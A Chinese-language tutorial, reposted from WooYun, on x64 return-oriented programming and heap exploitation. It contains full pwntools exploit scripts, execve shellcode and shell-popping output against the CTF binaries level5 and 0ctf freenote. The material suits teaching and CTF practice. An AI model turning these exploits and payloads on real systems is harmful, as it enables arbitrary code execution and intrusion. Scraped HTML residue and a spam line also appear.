<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/binary/10638

                    0x00序


                    ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術,可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。上次我們主要討論了linux_x64的ROP攻擊。

                    一步一步學ROP之linux_x86篇http://drops.wooyun.org/tips/6597

                    一步一步學ROP之linux_x64篇http://drops.wooyun.org/papers/7551

                    在這次的教程中我們會帶來通用gadgets和堆漏洞利用的技巧,歡迎大家繼續學習。

                    另外文中涉及代碼可在我的github下載:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

                    0x01 通用 gadgets part2


                    上次講到了__libc_csu_init()的一條萬能gadgets,其實不光__libc_csu_init()里的代碼可以利用,默認gcc還會有如下自動編譯進去的函數可以用來查找gadgets。

                    _init
                    _start
                    call_gmon_start
                    deregister_tm_clones
                    register_tm_clones
                    __do_global_dtors_aux
                    frame_dummy
                    __libc_csu_init
                    __libc_csu_fini
                    _fini
                    

                    除此之外在程序執行的過程中,CPU只會關注于PC指針的地址,并不會關注是否執行了編程者想要達到的效果。因此,通過控制PC跳轉到某些經過稍微偏移過的地址會得到意想不到的效果。

                    比如說說我們反編譯一下__libc_csu_init()這個函數的尾部:

                    gdb-peda$ disas __libc_csu_init
                    Dump of assembler code for function __libc_csu_init:
                    ……
                       0x0000000000400606 <+102>:   movrbx,QWORD PTR [rsp+0x8]
                       0x000000000040060b <+107>:   movrbp,QWORD PTR [rsp+0x10]
                       0x0000000000400610 <+112>:   mov    r12,QWORD PTR [rsp+0x18]
                       0x0000000000400615 <+117>:   mov    r13,QWORD PTR [rsp+0x20]
                       0x000000000040061a <+122>:   mov    r14,QWORD PTR [rsp+0x28]
                       0x000000000040061f <+127>:   mov    r15,QWORD PTR [rsp+0x30]
                       0x0000000000400624 <+132>:   add    rsp,0x38
                       0x0000000000400628 <+136>:   ret  
                    

                    可以發現我們可以通過rsp控制r12-r15的值,但我們知道x64下常用的參數寄存器是rdi和rsi,控制r12-r15并沒有什么太大的用處。不要慌,雖然原程序本身用是為了控制r14和r15寄存器的值。如下面的反編譯所示:

                    gdb-peda$ x/5i 0x000000000040061a
                       0x40061a <__libc_csu_init+122>:  mov    r14,QWORD PTR [rsp+0x28]
                       0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
                       0x400624 <__libc_csu_init+132>:  add    rsp,0x38
                       0x400628 <__libc_csu_init+136>:  ret  
                    

                    但是我們如果簡單的對pc做個位移再反編譯,我們就會發現esi和edi的值可以被我們控制了!如下面的反編譯所示:

                    gdb-peda$ x/5i 0x000000000040061b
                       0x40061b <__libc_csu_init+123>:  movesi,DWORD PTR [rsp+0x28]
                       0x40061f <__libc_csu_init+127>:  mov    r15,QWORD PTR [rsp+0x30]
                       0x400624 <__libc_csu_init+132>:  add    rsp,0x38
                       0x400628 <__libc_csu_init+136>:  ret    
                       0x400629:    nop    DWORD PTR [rax+0x0]
                    gdb-peda$ x/5i 0x0000000000400620
                       0x400620 <__libc_csu_init+128>:  movedi,DWORD PTR [rsp+0x30]
                       0x400624 <__libc_csu_init+132>:  add    rsp,0x38
                       0x400628 <__libc_csu_init+136>:  ret    
                       0x400629:    nop    DWORD PTR [rax+0x0]
                       0x400630 <__libc_csu_fini>:  repz ret 
                    

                    雖然edi和esi只能控制低32位的數值,但已經可以滿足我們的很多的rop需求了。

                    除了程序默認編譯進去的函數,如果我們能得到libc.so或者其他庫在內存中的地址,就可以獲得到大量的可用的gadgets。比如上一篇文章中提到的通用gadget只能控制三個參數寄存器的值并且某些值只能控制32位,如果我們想要控制多個參數寄存器的值的話只能去尋找其他的gadgets了。這里就介紹一個_dl_runtime_resolve()中的gadget,通過這個gadget可以控制六個64位參數寄存器的值,當我們使用參數比較多的函數的時候(比如mmap和mprotect)就可以派上用場了。

                    我們把_dl_runtime_resolve反編譯可以得到:

                    0x7ffff7def200 <_dl_runtime_resolve>:   sub    rsp,0x38
                    0x7ffff7def204 <_dl_runtime_resolve+4>: mov    QWORD PTR [rsp],rax
                    0x7ffff7def208 <_dl_runtime_resolve+8>: mov    QWORD PTR [rsp+0x8],rcx
                    0x7ffff7def20d <_dl_runtime_resolve+13>:    mov    QWORD PTR [rsp+0x10],rdx
                    0x7ffff7def212 <_dl_runtime_resolve+18>:    mov    QWORD PTR [rsp+0x18],rsi
                    0x7ffff7def217 <_dl_runtime_resolve+23>:    mov    QWORD PTR [rsp+0x20],rdi
                    0x7ffff7def21c <_dl_runtime_resolve+28>:    mov    QWORD PTR [rsp+0x28],r8
                    0x7ffff7def221 <_dl_runtime_resolve+33>:    mov    QWORD PTR [rsp+0x30],r9
                    0x7ffff7def226 <_dl_runtime_resolve+38>:    movrsi,QWORD PTR [rsp+0x40]
                    0x7ffff7def22b <_dl_runtime_resolve+43>:    movrdi,QWORD PTR [rsp+0x38]
                    0x7ffff7def230 <_dl_runtime_resolve+48>:    call   0x7ffff7de8680 <_dl_fixup>
                    0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
                    0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
                    0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
                    0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
                    0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
                    0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
                    0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
                    0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
                    0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
                    0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11
                    

                    0x7ffff7def235開始,就是這個通用gadget的地址了。通過這個gadget我們可以控制rdi,rsi,rdx,rcx, r8,r9的值。但要注意的是_dl_runtime_resolve()在內存中的地址是隨機的。所以我們需要先用information leak得到_dl_runtime_resolve()在內存中的地址。那么_dl_runtime_resolve()的地址被保存在了哪個固定的地址呢?

                    通過反編譯level5程序我們可以看到[email protected]()這個函數使用PLT [0] 去查找write函數在內存中的地址,函數jump過去的地址*0x600ff8其實就是_dl_runtime_resolve()在內存中的地址了。所以只要獲取到0x600ff8這個地址保存的數據,就能夠找到_dl_runtime_resolve()在內存中的地址:

                    0000000000400420 <[email protected]>:
                      400420:   ff 35 ca 0b 20 00       pushq  0x200bca(%rip)        # 600ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
                      400426:   ff 25 cc 0b 20 00       jmpq   *0x200bcc(%rip)        # 600ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
                      40042c:   0f 1f 40 00             nopl   0x0(%rax)
                    
                    gdb-peda$ x/x 0x600ff8
                    0x600ff8 <_GLOBAL_OFFSET_TABLE_+16>:    0x00007ffff7def200
                    
                    gdb-peda$ x/21i 0x00007ffff7def200
                       0x7ffff7def200 <_dl_runtime_resolve>:    sub    rsp,0x38
                       0x7ffff7def204 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
                       0x7ffff7def208 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
                       0x7ffff7def20d <_dl_runtime_resolve+13>: mov    QWORD PTR 
                    [rsp+0x10],rdx
                    ….
                    

                    另一個要注意的是,想要利用這個gadget,我們還需要控制rax的值,因為gadget是通過rax跳轉的:

                    0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
                    ……
                    0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11
                    

                    所以我們接下來用ROPgadget查找一下libc.so中控制rax的gadget:

                    ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax"
                    0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret
                    0x0000000000023950 : pop rax ; ret
                    0x000000000019176e : pop rax ; ret 0xffed
                    0x0000000000123504 : pop rax ; ret 0xfff0
                    

                    0x0000000000023950剛好符合我們的要求。有了pop rax_dl_runtime_resolve這兩個gadgets,我們就可以很輕松的調用想要的調用的函數了。

                    0x02 利用mmap執行任意shellcode


                    看了這么多rop后是不是感覺我們利用rop只是用來執行system有點太不過癮了?另外網上和msf里有那么多的shellcode難道在默認開啟DEP的今天已經沒有用處了嗎?并不是的,我們可以通過mmap或者mprotect將某塊內存改成RWX(可讀可寫可執行),然后將shellcode保存到這塊內存,然后控制pc跳轉過去就可以執行任意的shellcode了,比如說建立一個socket連接等。下面我們就結合上一節中提到的通用gadgets來讓程序執行一段shellcode。

                    我們測試的目標程序還是level5。在exp中,我們首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write_dl_runtime_resolve的地址。

                    #!python
                    #rdi=  edi = r13,  rsi = r14, rdx = r15 
                    #write(rdi=1, rsi=write.got, rdx=4)
                    payload1 =  "\x00"*136
                    payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
                    payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
                    payload1 += "\x00"*56
                    payload1 += p64(main)
                    
                    #rdi=  edi = r13,  rsi = r14, rdx = r15 
                    #write(rdi=1, rsi=linker_point, rdx=4)
                    payload2 =  "\x00"*136
                    payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
                    payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
                    payload2 += "\x00"*56
                    payload2 += p64(main)
                    

                    隨后就可以根據偏移量和泄露的地址計算出其他gadgets的地址。

                    #!python
                    shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
                                  "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
                                  "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )
                    
                    shellcode_addr = 0xbeef0000
                    
                    #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
                    payload3 =  "\x00"*136
                    payload3 += p64(pop_rax_ret) + p64(mmap_addr)
                    payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)
                    
                    #read(rdi=0, rsi=shellcode_addr, rdx=1024)
                    payload3 += p64(pop_rax_ret) + p64(plt_read)
                    payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
                    
                    payload3 += p64(shellcode_addr)
                    

                    然后我們利用_dl_runtime_resolve里的通用gadgets調用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),開辟一段RWX的內存在0xbeef0000處。隨后我們使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我們想要執行的shellcode讀入到0xbeef0000這段內存中。最后再將指針跳轉到shellcode處就可執行我們想要執行的任意代碼了。

                    完整的exp8.py代碼如下:

                    #!python
                    #!/usr/bin/env python
                    frompwn import *    
                    
                    elf = ELF('level5')
                    libc = ELF('libc.so.6') 
                    
                    p = process('./level5')
                    #p = remote('127.0.0.1',10001)  
                    
                    got_write = elf.got['write']
                    print "got_write: " + hex(got_write)
                    got_read = elf.got['read']
                    print "got_read: " + hex(got_read)
                    plt_read = elf.symbols['read']
                    print "plt_read: " + hex(plt_read)
                    linker_point = 0x600ff8
                    print "linker_point: " + hex(linker_point)
                    got_pop_rax_ret = 0x0000000000023970
                    print "got_pop_rax_ret: " + hex(got_pop_rax_ret)    
                    
                    main = 0x400564 
                    
                    off_system_addr = libc.symbols['write'] - libc.symbols['system']
                    print "off_system_addr: " + hex(off_system_addr)
                    off_mmap_addr = libc.symbols['write'] - libc.symbols['mmap']
                    print "off_mmap_addr: " + hex(off_mmap_addr)
                    off_pop_rax_ret = libc.symbols['write'] - got_pop_rax_ret
                    print "off_pop_rax_ret: " + hex(off_pop_rax_ret)    
                    
                    #rdi=  edi = r13,  rsi = r14, rdx = r15 
                    #write(rdi=1, rsi=write.got, rdx=4)
                    payload1 =  "\x00"*136
                    payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
                    payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
                    payload1 += "\x00"*56
                    payload1 += p64(main)   
                    
                    p.recvuntil("Hello, World\n")   
                    
                    print "\n#############sending payload1#############\n"
                    p.send(payload1)
                    sleep(1)    
                    
                    write_addr = u64(p.recv(8))
                    print "write_addr: " + hex(write_addr)
                    mmap_addr = write_addr - off_mmap_addr
                    print "mmap_addr: " + hex(mmap_addr)
                    pop_rax_ret = write_addr - off_pop_rax_ret
                    print "pop_rax_ret: " + hex(pop_rax_ret)    
                    
                    #rdi=  edi = r13,  rsi = r14, rdx = r15 
                    #write(rdi=1, rsi=linker_point, rdx=4)
                    payload2 =  "\x00"*136
                    payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
                    payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
                    payload2 += "\x00"*56
                    payload2 += p64(main)   
                    
                    p.recvuntil("Hello, World\n")   
                    
                    print "\n#############sending payload2#############\n"
                    p.send(payload2)
                    sleep(1)    
                    
                    linker_addr = u64(p.recv(8))
                    print "linker_addr + 0x35: " + hex(linker_addr + 0x35)  
                    
                    p.recvuntil("Hello, World\n")   
                    
                    shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
                                  "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
                                  "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )  
                    
                    #   GADGET
                    #   0x7ffff7def235 <_dl_runtime_resolve+53>:    mov    r11,rax
                    #   0x7ffff7def238 <_dl_runtime_resolve+56>:    mov    r9,QWORD PTR [rsp+0x30]
                    #   0x7ffff7def23d <_dl_runtime_resolve+61>:    mov    r8,QWORD PTR [rsp+0x28]
                    #   0x7ffff7def242 <_dl_runtime_resolve+66>:    movrdi,QWORD PTR [rsp+0x20]
                    #   0x7ffff7def247 <_dl_runtime_resolve+71>:    movrsi,QWORD PTR [rsp+0x18]
                    #   0x7ffff7def24c <_dl_runtime_resolve+76>:    movrdx,QWORD PTR [rsp+0x10]
                    #   0x7ffff7def251 <_dl_runtime_resolve+81>:    movrcx,QWORD PTR [rsp+0x8]
                    #   0x7ffff7def256 <_dl_runtime_resolve+86>:    movrax,QWORD PTR [rsp]
                    #   0x7ffff7def25a <_dl_runtime_resolve+90>:    add    rsp,0x48
                    #   0x7ffff7def25e <_dl_runtime_resolve+94>:    jmp    r11  
                    
                    shellcode_addr = 0xbeef0000 
                    
                    #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
                    payload3 =  "\x00"*136
                    payload3 += p64(pop_rax_ret) + p64(mmap_addr)
                    payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) 
                    
                    #read(rdi=0, rsi=shellcode_addr, rdx=1024)
                    payload3 += p64(pop_rax_ret) + p64(plt_read)
                    payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)  
                    
                    payload3 += p64(shellcode_addr) 
                    
                    print "\n#############sending payload3#############\n"
                    p.send(payload3)
                    sleep(1)    
                    
                    #raw_input()    
                    
                    p.send(shellcode+"\n")
                    sleep(1)    
                    
                    p.interactive()
                    

                    成功pwn后的效果如下:

                    $ python exp8.py 
                    [+] Started program './level5'
                    got_write: 0x601000
                    got_read: 0x601008
                    plt_read: 0x400440
                    linker_point: 0x600ff8
                    got_pop_rax_ret: 0x23950
                    off_mmap_addr: -0x9770
                    off_pop_rax_ret: 0xc2670
                    
                    #############sending payload1#############
                    
                    write_addr: 0x7f9d39d95fc0
                    mmap_addr: 0x7f9d39d9f730
                    pop_rax_ret: 0x7f9d39cd3950
                    
                    #############sending payload2#############
                    
                    linker_addr + 0x35: 0x7f9d3a083235
                    
                    #############sending payload3#############
                    
                    [*] Switching to interactive mode
                    $ whoami
                    mzheng
                    

                    0x03 堆漏洞利用之double free


                    講了那么多stack overflow的例子,我們現在換換口味,先從double free開始講一下堆漏洞的利用。Double free的意思是一個已經被free的內存塊又被free了第二次。正常情況下,如果double free,系統會檢測出該內存塊已經被free過了,不能被free第二次,程序會報錯然后退出。但是如果我們精心構造一個假的內存塊就可騙過系統的檢測,然后得到內存地址任意寫的權限。隨后就可以修改got表將接下來會執行的函數替換成system()再將參數改為我們想要執行的指令,比如"/bin/sh"。最后就可以執行system("/bin/sh")了。

                    想要學習double free,首先要了解什么是free chunk和allocated chunk。這個在網上有大量的資料,請感興趣的同學自學。

                    picture_p13

                    然后要了解Fast bin,Unsorted bin,Small bin和Large bin的概念。這個可以看這篇文章學習:

                    https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/

                    除此之外還有個gdb工具可以幫助我們查看內存中堆的信息,這對我們調試程序會有很大的幫助:

                    https://github.com/cloudburst/libheap

                    等到對堆的基本概念了解的差多了就可以學習如何利用unlink來做到內存寫了。在最早版本的unlink中對內存chunk是沒有任何檢測的,因此我們可以很容易的做到內存任意寫。但現在版本的libc中會對free的那個chunk進行檢測,這個chunk的前一個chunk的bk指針和這個chunk的后一個chunk的fd指針必須指向這個即將free的chunk才行。為了bypass這個檢測,我們必須在內存中找到一個地址X指向P,然后將P的fd和bk指向X。最后再觸發double free的unlink,就可以將P地址的值設置為X了。

                    picture_p14

                    我們這次使用0ctf中的freenote這道題來實踐一下double free漏洞的利用。執行這個程序我能看到這其實就是一個note記事本程序。通過new note和delete note可以malloc()和free()內存。

                    $ ./freenote_x64 
                    == 0ops Free Note ==
                    1. List Note
                    2. New Note
                    3. Edit Note
                    4. Delete Note
                    5. Exit
                    ====================
                    

                    但是這個程序有兩個漏洞,一個是建立新note的時候在note的結尾處沒有加"\0"因此會造成堆或者棧的地址泄露,另一個問題就是在delete note的時候,并不會檢測這個note是不是已經被刪除過了,因此可以刪除一個note兩遍,造成double free。

                    首先我們要泄露libc和heap在內存中的地址。因為note的結尾沒有"\0",因此在輸出時會把后面的內容打印出來。因為freelist的頭部保存在了libc的.bss段,因此我們可以見通過刪除兩個note再刪除一個note,然后再建立一個新note的方法來泄露出libc在內存中的地址:

                    #!python
                    notelen=0x80
                    
                    new_note("A"*notelen)
                    new_note("B"*notelen)
                    delete_note(0)
                    
                    new_note("\xb8")
                    list_note()
                    p.recvuntil("0. ")
                    leak = p.recvuntil("\n")
                    
                    print leak[0:-1].encode('hex')
                    leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
                    print hex(leaklibcaddr)
                    delete_note(1)
                    delete_note(0)
                    
                    system_sh_addr = leaklibcaddr - 0x3724a8
                    print "system_sh_addr: " + hex(system_sh_addr)
                    binsh_addr = leaklibcaddr - 0x23e7f1
                    print "binsh_addr: " + hex(binsh_addr)
                    

                    同樣的如果讓某個非使用中 chunk 的fd欄位指向另一個 chunk,并且讓note的內容剛好接上,就可以把 chunk在堆上的位置給洩漏出來。這樣我們就能得到堆的基址。

                    #!python
                    notelen=0x10    
                    
                    new_note("A"*notelen)
                    new_note("B"*notelen)
                    new_note("C"*notelen)
                    new_note("D"*notelen)
                    delete_note(2)
                    delete_note(0)  
                    
                    new_note("AAAAAAAA")
                    list_note()
                    p.recvuntil("0. AAAAAAAA")
                    leak = p.recvuntil("\n")    
                    
                    print leak[0:-1].encode('hex')
                    leakheapaddr = u64(leak[0:-1].ljust(8, '\x00'))
                    print hex(leakheapaddr) 
                    
                    delete_note(0)
                    delete_note(1)
                    delete_note(3)  
                    
                    notelen = 0x80  
                    
                    new_note("A"*notelen)
                    new_note("B"*notelen)
                    new_note("C"*notelen)   
                    
                    delete_note(2)
                    delete_note(1)
                    delete_note(0)
                    

                    通過泄露的libc地址我們可以計算出system()函數和"/bin/sh"字符串在內存中的地址,通過泄露的堆的地址我們能得到note table的地址。然后我們構造一個假的note,利用使用double free的漏洞觸發unlink,將note0的位置指向note table的地址。隨后我們就可以通過編輯note0來編輯note table了。通過編輯note table我們把note0指向free()函數在got表中的地址,把note1指向"/bin/sh"在內存中的地址。然后我們編輯note0把free()函數在got表中的地址改為system()的地址。最后我們執行delete note1操作。因為我們把note1的地址指向了"/bin/sh",所以正常情況下程序會執行free("/bin/sh"),但別忘了我們修改了got表中free的地址,所以程序會執行system("/bin/sh"),最終達到了我們的目的:

                    #!python
                    fd = leakheapaddr - 0x1808 #notetable
                    bk = fd + 0x8   
                    
                    payload  = ""
                    payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
                    payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
                    payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)  
                    
                    new_note(payload)   
                    
                    delete_note(1)  
                    
                    free_got = 0x602018 
                    
                    payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr)
                    payload2 += "A"* (notelen*3-len(payload2))  
                    
                    edit_note(0, payload2)
                    edit_note(0, p64(system_sh_addr))   
                    
                    delete_note(1)  
                    
                    p.interactive()
                    

                    執行exp的結果如下:

                    $ python exp9.py 
                    [+] Started program './freenote_x64'
                    b8a75eb2b57f
                    0x7fb5b25ea7b8
                    system_sh_addr: 0x7fb5b2278310
                    binsh_addr: 0x7fb5b23abfc7
                    20684b02
                    0x24b6820
                    [*] Switching to interactive mode
                    $ whoami
                    mzheng
                    

                    0x04 總結


                    除了64位的freenote,blue-lotus還弄了一個32位版的freenote給大家練習。這些binary和exp都可以在我的github上下載到:

                    https://github.com/zhengmin1989/ROP_STEP_BY_STEP

                    另外,下篇我會帶來arm上rop的利用,敬請期待。

                    0x05 參考資料


                    1. http://v0ids3curity.blogspot.com/2013/07/some-gadget-sequence-for-x8664-rop.html
                    2. 掘金ctf

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频